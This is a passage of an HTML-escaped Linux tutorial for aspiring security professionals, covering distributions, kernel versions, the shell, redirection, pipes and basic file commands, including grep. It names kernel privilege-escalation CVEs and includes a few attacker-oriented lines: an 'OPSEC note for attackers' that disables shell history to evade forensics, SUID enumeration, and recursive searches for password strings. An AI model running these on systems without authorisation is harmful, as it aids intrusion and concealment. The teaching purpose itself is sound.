&lt;li&gt;Linux File System Hierarchy (FHS)&lt;/li&gt;
&lt;li&gt;Key Takeaways and Security Mindset&lt;/li&gt;
&lt;li&gt;Hands-On Exercises&lt;/li&gt;
&lt;li&gt;Further Reading and Resources&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why Linux Is the Security Professional's Native Environment
&lt;/h2&gt;

&lt;p&gt;Walk into any serious security operations centre, open any penetration testing framework, or look at the infrastructure running the internet — Linux dominates. Apache, Nginx, OpenSSH, iptables, Docker, Kubernetes — all Linux. The majority of web servers, cloud instances, IoT devices, embedded systems, and industrial control systems run some variant of Linux or a Unix-like OS.&lt;/p&gt;

&lt;p&gt;More directly: &lt;strong&gt;every security tool you will use in this roadmap runs natively on Linux.&lt;/strong&gt; Metasploit, Burp Suite, Nmap, Wireshark, Volatility, Ghidra, John the Ripper, Hashcat, Gobuster, sqlmap — the list is endless. Kali Linux exists precisely because the security community built its entire toolchain on Linux.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For your OT/ICS path:&lt;/strong&gt; A significant portion of OT infrastructure runs Linux or embedded Linux variants. Industrial routers, protocol gateways, historian servers, engineering workstations, and HMI systems increasingly run Linux. RTUs based on embedded Linux are common in modern substations. Understanding Linux is not optional for anyone serious about critical infrastructure security.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The security mindset for this module:&lt;/strong&gt; Linux exposes its internals. Unlike Windows, which hides complexity behind GUIs, Linux makes everything visible — processes, files, network connections, permissions, logs — all readable as text files or command output. This transparency is exactly what security work requires. The command line is not an obstacle. It is precision.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Linux Distributions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 What Is a Distribution
&lt;/h3&gt;

&lt;p&gt;The Linux kernel is just the kernel — it provides the interface between hardware and software but does not by itself constitute a usable system. A &lt;strong&gt;distribution (distro)&lt;/strong&gt; bundles the Linux kernel with a package manager, system utilities, a desktop environment (optionally), and a collection of software into a coherent, installable operating system.&lt;/p&gt;

&lt;p&gt;All major Linux distributions share the same kernel and most of the same core utilities (GNU coreutils). The differences are in package management, release model, default configuration, target audience, and philosophy.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.2 Distributions You Will Encounter
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Kali Linux
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Your primary security platform.&lt;/strong&gt; Maintained by Offensive Security, Kali is a Debian-based distribution designed specifically for penetration testing, digital forensics, and security research. It comes pre-installed with hundreds of security tools.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Base:           Debian (rolling release)
Package manager: apt / dpkg
Key tools:      Metasploit, Burp Suite, Nmap, Wireshark, Aircrack-ng,
                John the Ripper, Hashcat, BloodHound, Impacket, and 600+ more
Default user:   kali (older versions used root — a security anti-pattern)
Use case:       Attack platform, security research, CTF
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; Running Kali as root was the historical default but is a poor security habit. Modern Kali runs as a normal user. Never use a security-focused OS as root for daily tasks — if your attack tool is compromised, running as root means the attacker gets root. Use &lt;code&gt;sudo&lt;/code&gt; only when needed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Parrot OS
&lt;/h4&gt;

&lt;p&gt;Debian-based, similar to Kali but lighter and designed to be used as a daily driver alongside security work. Has both a Security edition (full toolset) and a Home edition (lighter, privacy-focused).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Base:           Debian
Use case:       Security work + daily use, privacy-conscious users
Differentiator: Lighter than Kali, AnonSurf for Tor integration
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Ubuntu
&lt;/h4&gt;

&lt;p&gt;The most popular Linux distribution for general use. Excellent hardware support, huge community, extensive documentation. Many production servers run Ubuntu LTS (Long Term Support) versions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Base:           Debian
Release model:  LTS every 2 years (5-year support), interim every 6 months
Package manager: apt / snap
Use case:       Desktop, servers, cloud, your lab VMs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Debian
&lt;/h4&gt;

&lt;p&gt;The upstream distribution that Ubuntu and Kali are both based on. Known for extreme stability — packages are tested thoroughly before inclusion. The choice for servers where stability matters more than having the latest software.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Release model:  Stable (very conservative), Testing, Unstable (Sid)
Use case:       Production servers, base for other distros
Philosophy:     Stability above all, pure free software
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  CentOS / Rocky Linux / AlmaLinux
&lt;/h4&gt;

&lt;p&gt;CentOS was the community-supported version of Red Hat Enterprise Linux (RHEL). After Red Hat changed CentOS's model in 2021, Rocky Linux and AlmaLinux emerged as replacements. These are the dominant distributions in enterprise server environments, especially in large corporations and government.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Base:           RHEL
Package manager: dnf / rpm
Use case:       Enterprise servers, corporate environments
Security tools: SELinux enabled by default
Note:           You will encounter RHEL-family systems in enterprise assessments
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Kali vs Ubuntu: The Lab Choice
&lt;/h4&gt;

&lt;p&gt;For your lab:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Kali Linux&lt;/strong&gt; — your attack VM, always&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ubuntu Server&lt;/strong&gt; — your target/practice Linux VM&lt;/li&gt;
&lt;li&gt;Why Ubuntu as target? It mirrors real-world server deployments and is what you will encounter in CTFs and production environments&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2.3 The Linux Kernel Version and Security
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check kernel version&lt;/span&gt;
&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt;
&lt;span class="c"&gt;# Output example: 6.1.0-kali9-amd64&lt;/span&gt;

&lt;span class="c"&gt;# Full system information&lt;/span&gt;
&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;

&lt;span class="c"&gt;# Detailed OS information&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/os-release
lsb_release &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security Relevance of Kernel Version:&lt;/strong&gt;&lt;br&gt;
Older kernel versions have known privilege escalation vulnerabilities. During post-exploitation, identifying the kernel version is one of the first steps:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Kernel version + architecture = potential privilege escalation path&lt;/span&gt;
&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-m&lt;/span&gt;
&lt;span class="c"&gt;# Compare against: https://www.kernel.org/&lt;/span&gt;
&lt;span class="c"&gt;# Tools: linux-exploit-suggester, LES (Linux Exploit Suggester 2)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Real examples of kernel-level privilege escalation vulnerabilities by version:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2016-5195 (Dirty COW)&lt;/strong&gt; — affects kernels 2.6.22 through 4.8.3 (released 2007, unpatched until 2016)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2021-4034 (PwnKit)&lt;/strong&gt; — affects polkit on virtually all Linux systems&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2022-0847 (Dirty Pipe)&lt;/strong&gt; — affects kernels 5.8 through 5.16.11&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3. The Terminal — Your Primary Interface
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Shell vs Terminal vs Console
&lt;/h3&gt;

&lt;p&gt;These terms are often used interchangeably but mean different things:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Terminal emulator&lt;/strong&gt; — the application window (GNOME Terminal, Konsole, xterm, iTerm2). It provides the interface to interact with the shell.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shell&lt;/strong&gt; — the command interpreter that reads your commands and executes them. Common shells: &lt;code&gt;bash&lt;/code&gt;, &lt;code&gt;zsh&lt;/code&gt;, &lt;code&gt;fish&lt;/code&gt;, &lt;code&gt;sh&lt;/code&gt;, &lt;code&gt;dash&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Console&lt;/strong&gt; — the physical or virtual text interface, typically refers to the system console before a graphical environment loads.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find out which shell you are using&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$SHELL&lt;/span&gt;
&lt;span class="c"&gt;# Output: /bin/bash  or  /bin/zsh  etc.&lt;/span&gt;

&lt;span class="c"&gt;# List available shells on the system&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/shells

&lt;span class="c"&gt;# Switch to a different shell temporarily&lt;/span&gt;
zsh
bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.2 The Bash Shell
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Bash (Bourne Again Shell)&lt;/strong&gt; is the default shell on most Linux distributions. It is the shell you will use for the majority of your security work and scripting.&lt;/p&gt;

&lt;h4&gt;
  
  
  Prompt Anatomy
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kali@kali:~&lt;span class="nv"&gt;$ &lt;/span&gt;         &lt;span class="c"&gt;# Normal user prompt&lt;/span&gt;
root@kali:/etc#       &lt;span class="c"&gt;# Root user prompt (# instead of $)&lt;/span&gt;

&lt;span class="c"&gt;# Breakdown:&lt;/span&gt;
&lt;span class="c"&gt;# kali     = current username&lt;/span&gt;
&lt;span class="c"&gt;# kali     = hostname&lt;/span&gt;
&lt;span class="c"&gt;# ~        = current directory (~ = home directory)&lt;/span&gt;
&lt;span class="c"&gt;# $        = non-root user  |  # = root user&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;$&lt;/code&gt; vs &lt;code&gt;#&lt;/code&gt; distinction is critical — &lt;code&gt;#&lt;/code&gt; means you are root. During a privilege escalation in a CTF or pentest, going from &lt;code&gt;$&lt;/code&gt; to &lt;code&gt;#&lt;/code&gt; is the goal.&lt;/p&gt;

&lt;h4&gt;
  
  
  Essential Shell Shortcuts
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Shortcut&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Security Use&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Ctrl+C&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Kill current process&lt;/td&gt;
&lt;td&gt;Stop a running scan/tool&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Ctrl+Z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Suspend process to background&lt;/td&gt;
&lt;td&gt;Background a listener&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Ctrl+D&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;EOF / logout&lt;/td&gt;
&lt;td&gt;Close a shell session&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Ctrl+R&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Reverse history search&lt;/td&gt;
&lt;td&gt;Find previous commands fast&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Tab&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Autocomplete&lt;/td&gt;
&lt;td&gt;Speed + accuracy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;!!&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Repeat last command&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;sudo !!&lt;/code&gt; after a permission error&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;!nmap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Repeat last command starting with "nmap"&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Ctrl+L&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Clear screen&lt;/td&gt;
&lt;td&gt;Same as &lt;code&gt;clear&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Ctrl+A&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Go to beginning of line&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Ctrl+E&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Go to end of line&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# History — one of the most valuable forensic artefacts&lt;/span&gt;
&lt;span class="nb"&gt;history&lt;/span&gt;              &lt;span class="c"&gt;# Show command history&lt;/span&gt;
&lt;span class="nb"&gt;history &lt;/span&gt;50           &lt;span class="c"&gt;# Show last 50 commands&lt;/span&gt;
&lt;span class="o"&gt;!&lt;/span&gt;123                 &lt;span class="c"&gt;# Re-run command number 123&lt;/span&gt;
&lt;span class="o"&gt;!!&lt;/span&gt;                   &lt;span class="c"&gt;# Re-run last command&lt;/span&gt;

&lt;span class="c"&gt;# History file location&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.bash_history

&lt;span class="c"&gt;# OPSEC note for attackers:&lt;/span&gt;
&lt;span class="c"&gt;# Disable history for sensitive session&lt;/span&gt;
&lt;span class="nb"&gt;unset &lt;/span&gt;HISTFILE        &lt;span class="c"&gt;# Don't save history for this session&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;HISTSIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0     &lt;span class="c"&gt;# Set history size to 0&lt;/span&gt;
&lt;span class="c"&gt;# Or work in /dev/shm (RAM, no disk writes)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.3 Standard Streams and Redirection
&lt;/h3&gt;

&lt;p&gt;Every Linux process has three standard streams:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;stdin (0)&lt;/strong&gt; — standard input (keyboard by default)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;stdout (1)&lt;/strong&gt; — standard output (terminal by default)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;stderr (2)&lt;/strong&gt; — standard error (terminal by default)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Redirect stdout to a file (overwrite)&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; 192.168.1.1 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; scan_results.txt

&lt;span class="c"&gt;# Redirect stdout to a file (append)&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; 192.168.1.2 &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; scan_results.txt

&lt;span class="c"&gt;# Redirect stderr to a file&lt;/span&gt;
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.conf"&lt;/span&gt; 2&amp;gt; errors.txt

&lt;span class="c"&gt;# Redirect both stdout and stderr&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; 192.168.1.1 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; output.txt 2&amp;gt;&amp;amp;1
&lt;span class="c"&gt;# Or:&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; 192.168.1.1 &amp;amp;&amp;gt; output.txt

&lt;span class="c"&gt;# Discard errors (send to /dev/null — the black hole)&lt;/span&gt;
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"passwords.txt"&lt;/span&gt; 2&amp;gt;/dev/null
&lt;span class="c"&gt;# This suppresses "Permission denied" errors during file searches&lt;/span&gt;
&lt;span class="c"&gt;# You will use "2&amp;gt;/dev/null" constantly&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.4 Pipes — The Core of Linux Power
&lt;/h3&gt;

&lt;p&gt;The pipe &lt;code&gt;|&lt;/code&gt; sends the stdout of one command as stdin to the next. This is the fundamental mechanism for composing powerful one-liners.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List all processes, filter for a specific one&lt;/span&gt;
ps aux | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"apache"&lt;/span&gt;

&lt;span class="c"&gt;# Find all SUID files, sort by path&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;sort&lt;/span&gt;

&lt;span class="c"&gt;# Count lines in output&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/passwd | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;

&lt;span class="c"&gt;# Complex chain: find listening services, extract port numbers, sort&lt;/span&gt;
ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;LISTEN | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $4}'&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;: &lt;span class="nt"&gt;-f2&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt;

&lt;span class="c"&gt;# netstat equivalent with port and process&lt;/span&gt;
ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'NR&amp;gt;1 {print $4, $6}'&lt;/span&gt; | column &lt;span class="nt"&gt;-t&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Core Commands
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 Navigation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Print working directory — where am I?&lt;/span&gt;
&lt;span class="nb"&gt;pwd&lt;/span&gt;

&lt;span class="c"&gt;# Change directory&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt; /etc                  &lt;span class="c"&gt;# Absolute path&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt; ..                    &lt;span class="c"&gt;# Go up one level&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt; ../..                 &lt;span class="c"&gt;# Go up two levels&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt; ~                     &lt;span class="c"&gt;# Go to home directory&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt; -                     &lt;span class="c"&gt;# Go to previous directory (toggle)&lt;/span&gt;

&lt;span class="c"&gt;# List directory contents&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt;                       &lt;span class="c"&gt;# Basic listing&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;                    &lt;span class="c"&gt;# Long format (permissions, owner, size, date)&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;                   &lt;span class="c"&gt;# Long format including hidden files (. prefix)&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-lh&lt;/span&gt;                   &lt;span class="c"&gt;# Human-readable file sizes (KB, MB, GB)&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-lt&lt;/span&gt;                   &lt;span class="c"&gt;# Sort by modification time (newest first)&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-lR&lt;/span&gt;                   &lt;span class="c"&gt;# Recursive listing&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/             &lt;span class="c"&gt;# List specific directory&lt;/span&gt;

&lt;span class="c"&gt;# The long format decoded:&lt;/span&gt;
&lt;span class="c"&gt;# -rwxr-xr--  2  root  wheel  4096  Jan 1 00:00  filename&lt;/span&gt;
&lt;span class="c"&gt;#  ─────────  ─  ────  ─────  ────  ──────────── ────────&lt;/span&gt;
&lt;span class="c"&gt;#  permissions links owner group  size  timestamp  name&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 File and Directory Operations
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create&lt;/span&gt;
&lt;span class="nb"&gt;mkdir &lt;/span&gt;new_directory
&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; path/to/nested/directory    &lt;span class="c"&gt;# Create parent dirs as needed&lt;/span&gt;
&lt;span class="nb"&gt;touch &lt;/span&gt;new_file.txt                   &lt;span class="c"&gt;# Create empty file or update timestamp&lt;/span&gt;

&lt;span class="c"&gt;# Copy&lt;/span&gt;
&lt;span class="nb"&gt;cp &lt;/span&gt;source.txt destination.txt        &lt;span class="c"&gt;# Copy file&lt;/span&gt;
&lt;span class="nb"&gt;cp&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; source_dir/ dest_dir/          &lt;span class="c"&gt;# Copy directory recursively&lt;/span&gt;
&lt;span class="nb"&gt;cp&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; source.txt dest.txt            &lt;span class="c"&gt;# Preserve permissions and timestamps&lt;/span&gt;

&lt;span class="c"&gt;# Move and Rename&lt;/span&gt;
&lt;span class="nb"&gt;mv &lt;/span&gt;old_name.txt new_name.txt         &lt;span class="c"&gt;# Rename file&lt;/span&gt;
&lt;span class="nb"&gt;mv &lt;/span&gt;file.txt /tmp/                    &lt;span class="c"&gt;# Move to directory&lt;/span&gt;
&lt;span class="nb"&gt;mv&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; file.txt dest.txt              &lt;span class="c"&gt;# Interactive (prompt before overwrite)&lt;/span&gt;

&lt;span class="c"&gt;# Delete&lt;/span&gt;
&lt;span class="nb"&gt;rm &lt;/span&gt;file.txt                          &lt;span class="c"&gt;# Remove file&lt;/span&gt;
&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; file.txt                       &lt;span class="c"&gt;# Force (no error if not exists)&lt;/span&gt;
&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; directory/                     &lt;span class="c"&gt;# Remove directory recursively&lt;/span&gt;
&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; directory/                    &lt;span class="c"&gt;# Force recursive removal (use carefully)&lt;/span&gt;

&lt;span class="c"&gt;# DANGER: rm -rf with wrong path or wildcard can destroy the system&lt;/span&gt;
&lt;span class="c"&gt;# Always double-check before running rm -rf&lt;/span&gt;

&lt;span class="c"&gt;# View file contents&lt;/span&gt;
&lt;span class="nb"&gt;cat &lt;/span&gt;file.txt                         &lt;span class="c"&gt;# Print entire file&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; file.txt                      &lt;span class="c"&gt;# Print with line numbers&lt;/span&gt;
less file.txt                        &lt;span class="c"&gt;# Scrollable view (q to quit)&lt;/span&gt;
more file.txt                        &lt;span class="c"&gt;# Older paginator&lt;/span&gt;
&lt;span class="nb"&gt;head &lt;/span&gt;file.txt                        &lt;span class="c"&gt;# First 10 lines&lt;/span&gt;
&lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; 20 file.txt                  &lt;span class="c"&gt;# First 20 lines&lt;/span&gt;
&lt;span class="nb"&gt;tail &lt;/span&gt;file.txt                        &lt;span class="c"&gt;# Last 10 lines&lt;/span&gt;
&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; 20 file.txt                  &lt;span class="c"&gt;# Last 20 lines&lt;/span&gt;
&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; /var/log/auth.log            &lt;span class="c"&gt;# Follow file (live updates) — essential for log monitoring&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.3 Searching — grep and find
&lt;/h3&gt;

&lt;p&gt;These two commands are among the most important in security work.&lt;/p&gt;

&lt;h4&gt;
  
  
  grep — Search Inside Files
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Basic search&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"password"&lt;/span&gt; file.txt             &lt;span class="c"&gt;# Case-sensitive search&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"password"&lt;/span&gt; file.txt          &lt;span class="c"&gt;# Case-insensitive&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"password"&lt;/span&gt; /etc/             &lt;span class="c"&gt;# Recursive through directory&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"password"&lt;/span&gt; /etc/ 2&amp;gt;/dev/null &lt;span class="c"&gt;# Suppress permission errors&lt;/span&gt;

&lt;span class="c"&gt;# Line numbers and context&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"root"&lt;/span&gt; /etc/passwd           &lt;span class="c"&gt;# Show line numbers&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; 3 &lt;span class="s2"&gt;"error"&lt;/span&gt; log.txt            &lt;span class="c"&gt;# 3 lines AFTER match&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-B&lt;/span&gt; 3 &lt;span class="s2"&gt;"error"&lt;/span&gt; log.txt            &lt;span class="c"&gt;# 3 lines BEFORE match&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-C&lt;/span&gt; 3 &lt;span class="s2"&gt;"error"&lt;/span&gt; log.txt            &lt;span class="c"&gt;# 3 lines each side (context)&lt;/span&gt;

&lt;span class="c"&gt;# Invert match (lines NOT matching)&lt;/span&gt;
